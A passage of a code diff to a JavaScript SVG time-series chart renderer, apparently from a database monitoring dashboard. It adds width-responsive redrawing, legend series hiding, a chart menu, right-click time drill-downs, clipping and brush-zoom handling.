+    /* Only the first measurement draws at once, whether or not it changed the width (a seeded chart's first report is
+       usually within a pixel and draws nothing); a later change waits for its frame. */
+    const wasFirst = first;
+    first = false;
+    if (Math.abs(w - (pendingW == null ? drawnW : pendingW)) < 1) return;
+    pendingW = w;
+    if (wasFirst || typeof requestAnimationFrame !== "function") {
+      apply();
+    } else if (!frame) {
+      frame = requestAnimationFrame(apply);
+    }
+  });
+  observer.observe(host);
+}
+
 /**
  * Render a multi-series time chart into a returned `.chart` node.
  * spec: { points, xKey, series:[{key,label,color}], formatValue?, clampMax?, unit?, mode?, thresholds? }
@@ -61,6 +212,17 @@ function svg(tag, attrs) {
  *   onZoom     — optional brush-zoom callback (#1606): a pointer drag across ≥8px of plot selects a time
  *                range and calls onZoom(fromMs, toMs) so the caller can RE-RUN the panel on that window
  *                (server-side re-run keeps bucket resolution + tier routing + the partial-window notice honest).
+ *   title      — optional chart name; it names the saved image and the exported CSV.
+ *   source     — optional { read, params }: the read name and parameters behind the chart. The chart menu's
+ *                Show Data Source item appears only when this is given.
+ *   zoomed / onResetZoom — optional: when zoomed is true and onResetZoom is a function, the chart menu offers Reset zoom.
+ *   atTime     — optional { server, item }: a server-tab chart. A right-click on the plot then also offers the ONE "at This
+ *                Time" item that matches what the chart plots, as the desktop's chart drill-downs do: item "blocking" gives
+ *                Show Blocking at This Time, "deadlocks" gives Show Deadlocks at This Time, and "queries" (the default,
+ *                also for any other value) gives Show Active Queries at This Time. The item sets the server's custom range
+ *                to the time of the drawn point nearest the click ±30 minutes and opens that tab, scrolled to the item's own
+ *                grid (Active Queries, Blocking or Deadlocks). A menu opened without a click on the plot (the ⋯ button,
+ *                Shift+F10, a right-click on the legend, the status line or the open menu) has no time and offers none.
  *   windowStart— optional x-axis DOMAIN start, windowEnd its end, both UTC-epoch ms (#2802). When both are given
  *   windowEnd    and windowEnd > windowStart, the axis spans [windowStart, windowEnd] — the REQUESTED time window
  *                — instead of the data's own first/last-point extent, so a sparse discrete-event series (blocking,
@@ -71,7 +233,19 @@ function svg(tag, attrs) {
  *                domain, byte-for-byte. Data times stay naive-UTC-parsed and tick labels stay browser-local.
  */
 export function renderLineChart(spec) {
-  const { points, xKey, series, formatValue = (v) => String(v), clampMax = null, unit = null, mode = "line", thresholds = null, annotations = null, onSelect = null, series2 = null, onZoom = null, integerTicks = false, windowStart = null, windowEnd = null } = spec;
+  const { points, xKey, series: allSeries, formatValue = (v) => String(v), clampMax = null, unit = null, mode = "line", thresholds = null, annotations = null, onSelect = null, series2: series2Spec = null, onZoom = null, integerTicks = false, windowStart = null, windowEnd = null } = spec;
+  const { title = null, source = null, zoomed = false, onResetZoom = null, menuKey = null, exportPoints = null } = spec;
+  const widthKey = menuKey || spec.widthKey || null;
+  const { hiddenKeys = null, onLegend = null, atTime = null } = spec;
+  /* Legend hide/isolate: a hidden series is dropped from everything below (the y-domain, the stack, the drawn
+     marks, the hover tooltip and the CSV) so the axis rescales to what is visible. The legend still lists it,
+     marked off, so it can be brought back. Hiding every series is never honoured: the chart keeps all of them. */
+  const hiddenSet = new Set(hiddenKeys || []);
+  const visibleSeries = allSeries.filter((s) => !hiddenSet.has(s.key));
+  const series2 = series2Spec && !hiddenSet.has(series2Spec.key) ? series2Spec : null;
+  const anyVisible = visibleSeries.length > 0 || series2 !== null;
+  const series = anyVisible ? visibleSeries : allSeries;
+  const legendHidden = anyVisible ? hiddenSet : new Set();
   const stacked = mode === "stacked";
   const stackedBar = mode === "stacked-bar";
   /* Both stacked modes share the cumulative pre-pass, the sum-based y-domain, and the hover-at-stack-top dots. */
@@ -108,11 +282,6 @@ export function renderLineChart(spec) {
   const tMax = hasWindow ? windowEnd : dataTMax;
   const spanMs = tMax - tMin;
 
-  /* A dual-axis overlay reserves a right gutter for its own tick labels + unit caption (#1606); without
-     one the geometry is byte-for-byte the original. All right-edge math below uses these, never M.r. */
-  const plotRight = series2 ? W - 56 : W - M.r;
-  const plotW = plotRight - M.l;
-
   /* A numeric reader: null/NaN reads as null for line/area (a gap), or 0 for a stacked mode (a continuous baseline). */
   const readVal = (r, key) => {
     const v = r[key];
@@ -145,7 +314,11 @@ export function renderLineChart(spec) {
         if (v < dataMin) dataMin = v;
       }
     }
-    if (dataMax === -Infinity) return el("div", { class: "chart" }, [emptyStrip("No numeric values to chart.")]);
+    if (dataMax === -Infinity) {
+      /* With a series hidden the legend must stay on screen to bring it back, so draw an empty axis instead. */
+      if (legendHidden.size === 0) return el("div", { class: "chart" }, [emptyStrip("No numeric values to chart.")]);
+      dataMax = 1;
+    }
     dataMin = Math.min(0, dataMin);
   }
   if (dataMax === dataMin) dataMax = dataMin + 1;
@@ -156,382 +329,465 @@ export function renderLineChart(spec) {
   const yMin = scale.min;
   const yMax = scale.max;
 
-  /* A single bucket spans no time (spanMs === 0), so every point shares tMin; center it rather than pinning
-     it to the left axis, where a lone dot reads as a glitch. */
-  const scaleX = (t) => (spanMs === 0 ? M.l + plotW / 2 : M.l + ((t - tMin) / spanMs) * plotW);
   const scaleY = (v) => M.t + (1 - (v - yMin) / (yMax - yMin)) * PLOT_H;
   /* Plotted points clamp into the plot box so a value above a clamped (pct) domain can't draw outside it. */
   const plotY = (v) => Math.max(M.t, Math.min(M.t + PLOT_H, scaleY(v)));
   const baseY = plotY(0);
 
-  const root = svg("svg", { viewBox: `0 0 ${W} ${H}`, preserveAspectRatio: "none", role: "img" });
-
-  /* Horizontal gridlines + y labels (on the nice tick values). */
-  const axis = svg("g", { class: "axis" });
-  for (const val of scale.ticks) {
-    const y = scaleY(val);
-    axis.appendChild(svg("line", { class: "grid-line", x1: M.l, y1: y, x2: plotRight, y2: y }));
-    const label = svg("text", { x: M.l - 8, y: y + 4, "text-anchor": "end" });
-    label.textContent = formatValue(val);
-    axis.appendChild(label);
-  }
-
-  /* Y-axis unit caption. Skipped for "%" (the tick labels already carry the unit, and stacking a caption
-     on the top tick collided with its label — the design review's must-fix); for bare-number axes it sits
-     in the extra top headroom reserved above (well clear of the top tick's label). */
-  if (unit && unit !== "%") {
-    const cap = svg("text", { class: "axis-unit", x: M.l - 8, y: 11, "text-anchor": "end" });
-    cap.textContent = unit;
-    axis.appendChild(cap);
-  }
+  /* The plot is built for a width and rebuilt when the container's width changes (watchPlotWidth below); every width-
+     dependent value lives inside buildPlot, so a rebuild cannot keep a stale one. A rebuild draws from the same data and
+     spec, so the zoom window, the hidden series and the annotations are unchanged; it never fetches. A drag in progress
+     is cancelled with the old plot (its overlay is gone, and pointer capture ends with it). */
+  const tooltip = el("div", { class: "chart-tooltip" });
+  let annotationKey = [];
+  let cur = null;
+  const buildPlot = (W) => {
+    /* A dual-axis overlay reserves a right gutter for its own tick labels + unit caption (#1606); without
+       one the geometry is byte-for-byte the original. All right-edge math below uses these, never M.r. */
+    const plotRight = series2 ? W - 56 : W - M.r;
+    const plotW = plotRight - M.l;
+    /* A single bucket spans no time (spanMs === 0), so every point shares tMin; center it rather than pinning
+       it to the left axis, where a lone dot reads as a glitch. */
+    const scaleX = (t) => (spanMs === 0 ? M.l + plotW / 2 : M.l + ((t - tMin) / spanMs) * plotW);
+    const root = svg("svg", { viewBox: `0 0 ${W} ${H}`, width: W, height: H, style: `width:${W}px;height:${H}px`, class: "plot-svg", role: "img" });
+    /* The series clip to the plot box. A zoomed chart keeps one neighbour point just outside each edge of the span
+       (applyChartZoom) so the line reaches the axis edge; this clip cuts that segment off at the edge. */
+    const clipId = "plot-clip-" + (++clipSeq);
+    const clipDef = svg("clipPath", { id: clipId });
+    clipDef.appendChild(svg("rect", { x: M.l, y: M.t, width: plotW, height: PLOT_H }));
+    root.appendChild(clipDef);
+    const clipAttr = `url(#${clipId})`;
+
+    /* Horizontal gridlines + y labels (on the nice tick values). */
+    const axis = svg("g", { class: "axis" });
+    for (const val of scale.ticks) {
+      const y = scaleY(val);
+      axis.appendChild(svg("line", { class: "grid-line", x1: M.l, y1: y, x2: plotRight, y2: y }));
+      const label = svg("text", { x: M.l - 8, y: y + 4, "text-anchor": "end" });
+      label.textContent = formatValue(val);
+      axis.appendChild(label);
+    }
 
-  /* Vertical gridlines + x labels (6 ticks). The label widens to include the calendar date when the domain
-     spans more than one day, so a window crossing midnight is unambiguous even if it is under 24h wide. */
-  /* #2802: derived from the DOMAIN bounds, not the data's first/last point — a same-day burst inside a 24h window
-     that crosses midnight must still carry the calendar date. Byte-for-byte the old value with no window passed
-     (the domain bounds ARE the first/last data point then). */
-  const crossesDay = new Date(tMin).toDateString() !== new Date(tMax).toDateString();
-  const X_TICKS = 5;
-  /* One bucket spans no time, so the evenly-spaced loop would stack X_TICKS identical labels on the centered
-     point. Draw a single centered gridline + time label instead. */
-  const xTickTimes = spanMs === 0 ? [tMin] : Array.from({ length: X_TICKS + 1 }, (_, i) => tMin + (spanMs * i) / X_TICKS);
-  for (let i = 0; i < xTickTimes.length; i++) {
-    const t = xTickTimes[i];
-    const x = scaleX(t);
-    axis.appendChild(svg("line", { class: "grid-line", x1: x, y1: M.t, x2: x, y2: M.t + PLOT_H }));
-    const anchor = xTickTimes.length === 1 ? "middle" : i === 0 ? "start" : i === xTickTimes.length - 1 ? "end" : "middle";
-    const label = svg("text", {
-      x: Math.min(Math.max(x, M.l + 2), plotRight - 2),
-      y: H - 8,
-      "text-anchor": anchor,
-    });
-    label.textContent = axisTime(new Date(t), crossesDay);
-    axis.appendChild(label);
-  }
-  /* Dual-axis overlay (#1606): the series2 values get their OWN nice scale on a right-hand axis — tick
-     labels + unit caption in the reserved right gutter, so two measures of different magnitudes read
-     together without either flattening the other. */
-  let scaleY2 = null;
-  if (series2) {
-    let m2 = -Infinity;
-    let n2 = Infinity;
-    for (const { r } of rows) {
-      const v = r[series2.key];
-      if (v == null || isNaN(v)) continue;
-      const num = Number(v);
-      if (num > m2) m2 = num;
-      if (num < n2) n2 = num;
+    /* Y-axis unit caption. Skipped for "%" (the tick labels already carry the unit, and stacking a caption
+       on the top tick collided with its label — the design review's must-fix); for bare-number axes it sits
+       in the extra top headroom reserved above (well clear of the top tick's label). */
+    if (unit && unit !== "%") {
+      const cap = svg("text", { class: "axis-unit", x: M.l - 8, y: 11, "text-anchor": "end" });
+      cap.textContent = unit;
+      axis.appendChild(cap);
     }
-    if (m2 === -Infinity) { m2 = 1; n2 = 0; }
-    n2 = Math.min(0, n2);
-    if (m2 === n2) m2 = n2 + 1;
-    const s2 = niceScale(n2, m2, Y_TICKS, null, series2.integerTicks === true);
-    scaleY2 = (v) => M.t + (1 - (v - s2.min) / (s2.max - s2.min)) * PLOT_H;
-    const fmt2 = series2.formatValue || ((v) => String(v));
-    for (const val of s2.ticks) {
-      const y = scaleY2(val);
-      const label = svg("text", { x: plotRight + 8, y: y + 4, "text-anchor": "start", fill: normalizeColor(series2.color) });
-      label.textContent = fmt2(val);
+
+    /* Vertical gridlines + x labels (6 ticks). The label widens to include the calendar date when the domain
+       spans more than one day, so a window crossing midnight is unambiguous even if it is under 24h wide. */
+    /* #2802: derived from the DOMAIN bounds, not the data's first/last point — a same-day burst inside a 24h window
+       that crosses midnight must still carry the calendar date. Byte-for-byte the old value with no window passed
+       (the domain bounds ARE the first/last data point then). */
+    const crossesDay = new Date(tMin).toDateString() !== new Date(tMax).toDateString();
+    /* The tick count follows the plot width (#5586): as many evenly spaced labels as fit side by side with a gap, so none
+       overlap on a phone and a wide panel gets more of them, not wider ones. */
+    /* A window whose start and end have different UTC offsets in the browser's zone crosses a clock change: the repeated hour
+       would read the same twice, so every label then carries the zone's short name. One offset: the label is unchanged. */
+    const withZone = new Date(tMin).getTimezoneOffset() !== new Date(tMax).getTimezoneOffset();
+    const xPlan = xTickPlan(tMin, spanMs, plotW, crossesDay, withZone);
+    /* One bucket spans no time, so the evenly-spaced loop would stack identical labels on the centered point. The plan then
+       holds a single tick: one centered gridline + time label. */
+    const xTickTimes = xPlan.times;
+    for (let i = 0; i < xTickTimes.length; i++) {
+      const t = xTickTimes[i];
+      const x = scaleX(t);
+      axis.appendChild(svg("line", { class: "grid-line", x1: x, y1: M.t, x2: x, y2: M.t + PLOT_H }));
+      const anchor = xTickTimes.length === 1 ? (spanMs === 0 ? "middle" : "start") : i === 0 ? "start" : i === xTickTimes.length - 1 ? "end" : "middle";
+      const label = svg("text", {
+        x: Math.min(Math.max(x, M.l + 2), plotRight - 2),
+        y: H - 8,
+        "text-anchor": anchor,
+      });
+      label.textContent = axisTime(new Date(t), crossesDay, xPlan.seconds, withZone);
       axis.appendChild(label);
     }
-    if (series2.unit && series2.unit !== "%") {
-      const cap2 = svg("text", { class: "axis-unit", x: plotRight + 8, y: 11, "text-anchor": "start", fill: normalizeColor(series2.color) });
-      cap2.textContent = series2.unit;
-      axis.appendChild(cap2);
+    /* Dual-axis overlay (#1606): the series2 values get their OWN nice scale on a right-hand axis — tick
+       labels + unit caption in the reserved right gutter, so two measures of different magnitudes read
+       together without either flattening the other. */
+    let scaleY2 = null;
+    if (series2) {
+      let m2 = -Infinity;
+      let n2 = Infinity;
+      for (const { r } of rows) {
+        const v = r[series2.key];
+        if (v == null || isNaN(v)) continue;
+        const num = Number(v);
+        if (num > m2) m2 = num;
+        if (num < n2) n2 = num;
+      }
+      if (m2 === -Infinity) { m2 = 1; n2 = 0; }
+      n2 = Math.min(0, n2);
+      if (m2 === n2) m2 = n2 + 1;
+      const s2 = niceScale(n2, m2, Y_TICKS, null, series2.integerTicks === true);
+      scaleY2 = (v) => M.t + (1 - (v - s2.min) / (s2.max - s2.min)) * PLOT_H;
+      const fmt2 = series2.formatValue || ((v) => String(v));
+      for (const val of s2.ticks) {
+        const y = scaleY2(val);
+        const label = svg("text", { x: plotRight + 8, y: y + 4, "text-anchor": "start", fill: normalizeColor(series2.color) });
+        label.textContent = fmt2(val);
+        axis.appendChild(label);
+      }
+      if (series2.unit && series2.unit !== "%") {
+        const cap2 = svg("text", { class: "axis-unit", x: plotRight + 8, y: 11, "text-anchor": "start", fill: normalizeColor(series2.color) });
+        cap2.textContent = series2.unit;
+        axis.appendChild(cap2);
+      }
     }
-  }
 
-  root.appendChild(axis);
-
-  const xs = rows.map((p) => scaleX(p.t.getTime()));
-
-  if (stackedBar) {
-    /* Time-series stacked BAR: one vertical bar per bucket, segmented bottom-up by series using the same cumulative
-       tops as the stacked area. Bar width is a fraction of the per-bucket spacing, centered on the bucket and clamped
-       into the plot; a sub-pixel segment is dropped so a dense window degrades cleanly toward a filled band. */
-    /* Bar width = one bucket's on-screen width. With no window the buckets tile the axis, so plotW/rows.length IS
-       the bucket width (byte-for-byte the original). With a #2802 window the buckets can be sparse — plotW/rows.length
-       would then draw each bar far wider than a bucket and overlap its neighbours — so measure the tightest adjacent
-       gap (one bucket) and use that; fall back to the tiling width when there is only one bar to place. */
-    let barW;
-    if (hasWindow && xs.length > 1) {
-      let minGap = Infinity;
-      for (let i = 1; i < xs.length; i++) {
-        const g = xs[i] - xs[i - 1];
-        if (g > 0 && g < minGap) minGap = g;
+    root.appendChild(axis);
+
+    const xs = rows.map((p) => scaleX(p.t.getTime()));
+
+    if (stackedBar) {
+      /* Time-series stacked BAR: one vertical bar per bucket, segmented bottom-up by series using the same cumulative
+         tops as the stacked area. Bar width is a fraction of the per-bucket spacing, centered on the bucket and clamped
+         into the plot; a sub-pixel segment is dropped so a dense window degrades cleanly toward a filled band. */
+      /* Bar width = one bucket's on-screen width. With no window the buckets tile the axis, so plotW/rows.length IS
+         the bucket width (byte-for-byte the original). With a #2802 window the buckets can be sparse — plotW/rows.length
+         would then draw each bar far wider than a bucket and overlap its neighbours — so measure the tightest adjacent
+         gap (one bucket) and use that; fall back to the tiling width when there is only one bar to place. */
+      let barW;
+      if (hasWindow && xs.length > 1) {
+        let minGap = Infinity;
+        for (let i = 1; i < xs.length; i++) {
+          const g = xs[i] - xs[i - 1];
+          if (g > 0 && g < minGap) minGap = g;
+        }
+        barW = Math.max(1, (isFinite(minGap) ? minGap : plotW / rows.length) * 0.7);
+      } else {
+        barW = Math.max(1, (plotW / rows.length) * 0.7);
       }
-      barW = Math.max(1, (isFinite(minGap) ? minGap : plotW / rows.length) * 0.7);
-    } else {
-      barW = Math.max(1, (plotW / rows.length) * 0.7);
-    }
-    for (let i = 0; i < rows.length; i++) {
-      const bx = Math.max(M.l, Math.min(M.l + plotW - barW, xs[i] - barW / 2));
-      for (let k = 0; k < series.length; k++) {
-        const yTop = plotY(stackTops[i][k]);
-        const yBot = plotY(k === 0 ? 0 : stackTops[i][k - 1]);
-        const h = yBot - yTop;
-        if (h < 0.5) continue;
-        root.appendChild(
-          svg("rect", { class: "series-bar", x: bx, y: yTop, width: barW, height: h, fill: normalizeColor(series[k].color) })
-        );
+      for (let i = 0; i < rows.length; i++) {
+        const bx = Math.max(M.l, Math.min(M.l + plotW - barW, xs[i] - barW / 2));
+        for (let k = 0; k < series.length; k++) {
+          const yTop = plotY(stackTops[i][k]);
+          const yBot = plotY(k === 0 ? 0 : stackTops[i][k - 1]);
+          const h = yBot - yTop;
+          if (h < 0.5) continue;
+          root.appendChild(
+            svg("rect", { class: "series-bar", x: bx, y: yTop, width: barW, height: h, fill: normalizeColor(series[k].color) })
+          );
+        }
       }
-    }
-  } else if (stacked) {
-    if (rows.length === 1) {
-      /* A single bucket has no horizontal extent, so each band's polygon collapses to a zero-area sliver that
-         paints nothing (.series-area has no stroke). Draw a dot at each series' cumulative stack top instead —
-         the position the hover dots already use in stacked mode — so a warming-up stacked panel shows its one
-         reading rather than a blank grid. */
-      for (let k = 0; k < series.length; k++) {
-        root.appendChild(svg("circle", { class: "series-dot", cx: xs[0], cy: plotY(stackTops[0][k]), r: 4, fill: normalizeColor(series[k].color) }));
+    } else if (stacked) {
+      if (rows.length === 1) {
+        /* A single bucket has no horizontal extent, so each band's polygon collapses to a zero-area sliver that
+           paints nothing (.series-area has no stroke). Draw a dot at each series' cumulative stack top instead —
+           the position the hover dots already use in stacked mode — so a warming-up stacked panel shows its one
+           reading rather than a blank grid. */
+        for (let k = 0; k < series.length; k++) {
+          root.appendChild(svg("circle", { class: "series-dot", cx: xs[0], cy: plotY(stackTops[0][k]), r: 4, fill: normalizeColor(series[k].color) }));
+        }
+      } else {
+        /* Filled bands drawn top series first so lower bands paint over the seams; each band is bounded above by its
+           own cumulative top and below by the previous series' cumulative top (the x-axis for series 0). */
+        for (let k = series.length - 1; k >= 0; k--) {
+          const top = [];
+          const bottom = [];
+          for (let i = 0; i < rows.length; i++) {
+            top.push(xs[i] + "," + plotY(stackTops[i][k]));
+            bottom.push(xs[i] + "," + plotY(k === 0 ? 0 : stackTops[i][k - 1]));
+          }
+          bottom.reverse();
+          root.appendChild(
+            svg("polygon", {
+              class: "series-area",
+              "clip-path": clipAttr,
+              points: top.concat(bottom).join(" "),
+              fill: normalizeColor(series[k].color),
+              "fill-opacity": "0.72",
+            })
+          );
+        }
       }
     } else {
-      /* Filled bands drawn top series first so lower bands paint over the seams; each band is bounded above by its
-         own cumulative top and below by the previous series' cumulative top (the x-axis for series 0). */
-      for (let k = series.length - 1; k >= 0; k--) {
-        const top = [];
-        const bottom = [];
+      /* Area fill (each series to the baseline) then the line on top; or just the line. Nulls drop the gap. */
+      for (const s of series) {
+        const linePts = [];
         for (let i = 0; i < rows.length; i++) {
-          top.push(xs[i] + "," + plotY(stackTops[i][k]));
-          bottom.push(xs[i] + "," + plotY(k === 0 ? 0 : stackTops[i][k - 1]));
+          const v = readVal(rows[i].r, s.key);
+          if (v == null) continue;
+          linePts.push(xs[i] + "," + plotY(v));
         }
-        bottom.reverse();
-        root.appendChild(
-          svg("polygon", {
-            class: "series-area",
-            points: top.concat(bottom).join(" "),
-            fill: normalizeColor(series[k].color),
-            "fill-opacity": "0.72",
-          })
-        );
+        /* A lone plottable point has no segment to stroke, so draw it as a dot — one bucket still shows its
+           reading. (Its resting marker matches the hover dot; static class so it does not vanish on mouseout.) */
+        if (linePts.length === 1) {
+          const [cx, cy] = linePts[0].split(",");
+          root.appendChild(svg("circle", { class: "series-dot", cx, cy, r: 4, fill: normalizeColor(s.color) }));
+          continue;
+        }
+        if (linePts.length < 2) continue;
+        if (filled) {
+          const first = linePts[0].split(",")[0];
+          const last = linePts[linePts.length - 1].split(",")[0];
+          root.appendChild(
+            svg("polygon", {
+              class: "series-area",
+              "clip-path": clipAttr,
+              points: `${first},${baseY} ${linePts.join(" ")} ${last},${baseY}`,
+              fill: normalizeColor(s.color),
+              "fill-opacity": "0.15",
+            })
+          );
+        }
+        root.appendChild(svg("polyline", { class: "series-line", "clip-path": clipAttr, points: linePts.join(" "), stroke: normalizeColor(s.color) }));
       }
     }
-  } else {
-    /* Area fill (each series to the baseline) then the line on top; or just the line. Nulls drop the gap. */
-    for (const s of series) {
-      const linePts = [];
+
+    /* The dual-axis overlay line (#1606): plotted against ITS axis (scaleY2), clamped into the plot box,
+       nulls dropped as gaps — same discipline as a primary line. Always a plain line (never filled/stacked). */
+    if (series2 && scaleY2) {
+      const pts2 = [];
       for (let i = 0; i < rows.length; i++) {
-        const v = readVal(rows[i].r, s.key);
-        if (v == null) continue;
-        linePts.push(xs[i] + "," + plotY(v));
-      }
-      /* A lone plottable point has no segment to stroke, so draw it as a dot — one bucket still shows its
-         reading. (Its resting marker matches the hover dot; static class so it does not vanish on mouseout.) */
-      if (linePts.length === 1) {
-        const [cx, cy] = linePts[0].split(",");
-        root.appendChild(svg("circle", { class: "series-dot", cx, cy, r: 4, fill: normalizeColor(s.color) }));
-        continue;
+        const v = rows[i].r[series2.key];
+        if (v == null || isNaN(v)) continue;
+        const y2 = Math.max(M.t, Math.min(M.t + PLOT_H, scaleY2(Number(v))));
+        pts2.push(xs[i] + "," + y2);
       }
-      if (linePts.length < 2) continue;
-      if (filled) {
-        const first = linePts[0].split(",")[0];
-        const last = linePts[linePts.length - 1].split(",")[0];
-        root.appendChild(
-          svg("polygon", {
-            class: "series-area",
-            points: `${first},${baseY} ${linePts.join(" ")} ${last},${baseY}`,
-            fill: normalizeColor(s.color),
-            "fill-opacity": "0.15",
-          })
-        );
+      if (pts2.length === 1) {
+        /* Same single-bucket rule as the primary series: a lone overlay reading draws as a dot, not a dropped
+           series, so "a dot per series" holds for the right axis too. */
+        const [cx, cy] = pts2[0].split(",");
+        root.appendChild(svg("circle", { class: "series-dot", cx, cy, r: 4, fill: normalizeColor(series2.color) }));
+      } else if (pts2.length >= 2) {
+        root.appendChild(svg("polyline", { class: "series-line series-line-overlay", "clip-path": clipAttr, points: pts2.join(" "), stroke: normalizeColor(series2.color) }));
       }
-      root.appendChild(svg("polyline", { class: "series-line", points: linePts.join(" "), stroke: normalizeColor(s.color) }));
     }
-  }
 
-  /* The dual-axis overlay line (#1606): plotted against ITS axis (scaleY2), clamped into the plot box,
-     nulls dropped as gaps — same discipline as a primary line. Always a plain line (never filled/stacked). */
-  if (series2 && scaleY2) {
-    const pts2 = [];
-    for (let i = 0; i < rows.length; i++) {
-      const v = rows[i].r[series2.key];
-      if (v == null || isNaN(v)) continue;
-      const y2 = Math.max(M.t, Math.min(M.t + PLOT_H, scaleY2(Number(v))));
-      pts2.push(xs[i] + "," + y2);
+    /* Render-only threshold reference lines (design D3): a horizontal dashed guide at each in-domain value (the value
+       runs along the y axis here). An out-of-domain threshold is skipped, never clamped onto an edge — a clamped line
+       would read as a real reference at the wrong value. Drawn above the series, below the hover overlay. */
+    if (Array.isArray(thresholds)) {
+      for (const tv of thresholds) {
+        if (tv == null || isNaN(tv) || tv < yMin || tv > yMax) continue;
+        const ty = scaleY(tv);
+        root.appendChild(thresholdLine(M.l, ty, plotRight, ty, plotRight - 4, ty - 4, "end", formatValue(tv)));
+      }
     }
-    if (pts2.length === 1) {
-      /* Same single-bucket rule as the primary series: a lone overlay reading draws as a dot, not a dropped
-         series, so "a dot per series" holds for the right axis too. */
-      const [cx, cy] = pts2[0].split(",");
-      root.appendChild(svg("circle", { class: "series-dot", cx, cy, r: 4, fill: normalizeColor(series2.color) }));
-    } else if (pts2.length >= 2) {
-      root.appendChild(svg("polyline", { class: "series-line series-line-overlay", points: pts2.join(" "), stroke: normalizeColor(series2.color) }));
+
+    /* Hover overlay: a transparent rect over the plot capturing mousemove. */
+    const hoverLine = svg("line", { class: "hover-line", y1: M.t, y2: M.t + PLOT_H, style: "display:none" });
+    root.appendChild(hoverLine);
+    const hoverDots = svg("g", { style: "display:none" });
+    root.appendChild(hoverDots);
+    const overlay = svg("rect", { x: M.l, y: M.t, width: plotW, height: PLOT_H, fill: "transparent" });
+    root.appendChild(overlay);
+
+    /* Event-annotation overlays (design D5): a vertical marker at each event's time, one color per source (drawn ON
+       TOP of the hover overlay so each marker's native <title> — source · label · local time — is hoverable, matching
+       the ranked charts' native-title idiom). The visible line is thin + non-interactive; a wider transparent hit line
+       carries the title. Out-of-window events are skipped, not clamped (the backend scopes them to the panel window,
+       but a marker outside the plotted domain would otherwise pile onto an edge); dense windows just fill toward a band. */
+    annotationKey = [];
+    if (Array.isArray(annotations) && annotations.length) {
+      const g = svg("g", { class: "annotations" });
+      annotations.forEach((layer, li) => {
+        const color = normalizeColor(ANNOTATION_COLORS[li % ANNOTATION_COLORS.length]);
+        let drawn = 0;
+        for (const ev of layer.events || []) {
+          const t = parseUtc(ev.ts);
+          if (!t) continue;
+          const ms = t.getTime();
+          if (ms < tMin || ms > tMax) continue;
+          const mx = scaleX(ms);
+          g.appendChild(svg("line", { class: "annotation-line", x1: mx, y1: M.t, x2: mx, y2: M.t + PLOT_H, stroke: color }));
+          const hit = svg("line", { class: "annotation-hit", x1: mx, y1: M.t, x2: mx, y2: M.t + PLOT_H });
+          const title = svg("title");
+          const lbl = ev.label == null || ev.label === "" ? "" : String(ev.label);
+          title.textContent = layer.displayName + (lbl ? " · " + lbl : "") + " · " + t.toLocaleString();
+          hit.appendChild(title);
+          g.appendChild(hit);
+          drawn++;
+        }
+        if (drawn > 0) annotationKey.push({ label: layer.displayName, color, count: drawn });
+      });
+      root.appendChild(g);
     }
-  }
 
-  /* Render-only threshold reference lines (design D3): a horizontal dashed guide at each in-domain value (the value
-     runs along the y axis here). An out-of-domain threshold is skipped, never clamped onto an edge — a clamped line
-     would read as a real reference at the wrong value. Drawn above the series, below the hover overlay. */
-  if (Array.isArray(thresholds)) {
-    for (const tv of thresholds) {
-      if (tv == null || isNaN(tv) || tv < yMin || tv > yMax) continue;
-      const ty = scaleY(tv);
-      root.appendChild(thresholdLine(M.l, ty, plotRight, ty, plotRight - 4, ty - 4, "end", formatValue(tv)));
+    /* Brush-zoom (#1606): pointerdown + setPointerCapture on the overlay (capture keeps the drag alive across
+       the annotation hit-lines drawn above, and off-plot release still lands here). A drag of 8 or more px (a viewBox unit is a
+       CSS pixel, #5586) draws
+       a selection band and calls onZoom(fromMs, toMs); anything shorter is a click, ignored. The mousemove
+       tooltip suppresses while a drag is live so it never repaints under the band. */
+    let dragFromX = null;
+    const brushRect = svg("rect", { class: "brush-rect", y: M.t, height: PLOT_H, style: "display:none" });
+    root.appendChild(brushRect);
+    const toVbX = (clientX) => {
+      const rect = root.getBoundingClientRect();
+      return ((clientX - rect.left) / rect.width) * W;
+    };
+    const vbToTime = (vbX) => tMin + (Math.max(0, Math.min(1, (vbX - M.l) / (plotW || 1))) * spanMs);
+    if (onZoom) {
+      overlay.addEventListener("pointerdown", (ev) => {
+        if (ev.button !== 0) return;
+        dragFromX = toVbX(ev.clientX);
+        overlay.setPointerCapture(ev.pointerId);
+      });
+      overlay.addEventListener("pointermove", (ev) => {
+        if (dragFromX == null) return;
+        const x = toVbX(ev.clientX);
+        const left = Math.max(M.l, Math.min(dragFromX, x));
+        const right = Math.min(plotRight, Math.max(dragFromX, x));
+        brushRect.setAttribute("x", left);
+        brushRect.setAttribute("width", Math.max(0, right - left));
+        brushRect.style.display = "";
+      });
+      overlay.addEventListener("pointerup", (ev) => {
+        if (dragFromX == null) return;
+        const from = dragFromX;
+        dragFromX = null;
+        brushRect.style.display = "none";
+        const to = toVbX(ev.clientX);
+        if (Math.abs(to - from) < BRUSH_MIN_PX) return; /* a click, not a brush */
+        const t1 = vbToTime(Math.min(from, to));
+        const t2 = vbToTime(Math.max(from, to));
+        if (t2 > t1) onZoom(t1, t2);
+      });
+      overlay.addEventListener("pointercancel", () => {
+        dragFromX = null;
+        brushRect.style.display = "none";
+      });
     }
-  }
 
-  /* Hover overlay: a transparent rect over the plot capturing mousemove. */
-  const hoverLine = svg("line", { class: "hover-line", y1: M.t, y2: M.t + PLOT_H, style: "display:none" });
-  root.appendChild(hoverLine);
-  const hoverDots = svg("g", { style: "display:none" });
-  root.appendChild(hoverDots);
-  const overlay = svg("rect", { x: M.l, y: M.t, width: plotW, height: PLOT_H, fill: "transparent" });
-  root.appendChild(overlay);
-
-  /* Event-annotation overlays (design D5): a vertical marker at each event's time, one color per source (drawn ON
-     TOP of the hover overlay so each marker's native <title> — source · label · local time — is hoverable, matching
-     the ranked charts' native-title idiom). The visible line is thin + non-interactive; a wider transparent hit line
-     carries the title. Out-of-window events are skipped, not clamped (the backend scopes them to the panel window,
-     but a marker outside the plotted domain would otherwise pile onto an edge); dense windows just fill toward a band. */
-  const annotationKey = [];
-  if (Array.isArray(annotations) && annotations.length) {
-    const g = svg("g", { class: "annotations" });
-    annotations.forEach((layer, li) => {
-      const color = normalizeColor(ANNOTATION_COLORS[li % ANNOTATION_COLORS.length]);
-      let drawn = 0;
-      for (const ev of layer.events || []) {
-        const t = parseUtc(ev.ts);
-        if (!t) continue;
-        const ms = t.getTime();
-        if (ms < tMin || ms > tMax) continue;
-        const mx = scaleX(ms);
-        g.appendChild(svg("line", { class: "annotation-line", x1: mx, y1: M.t, x2: mx, y2: M.t + PLOT_H, stroke: color }));
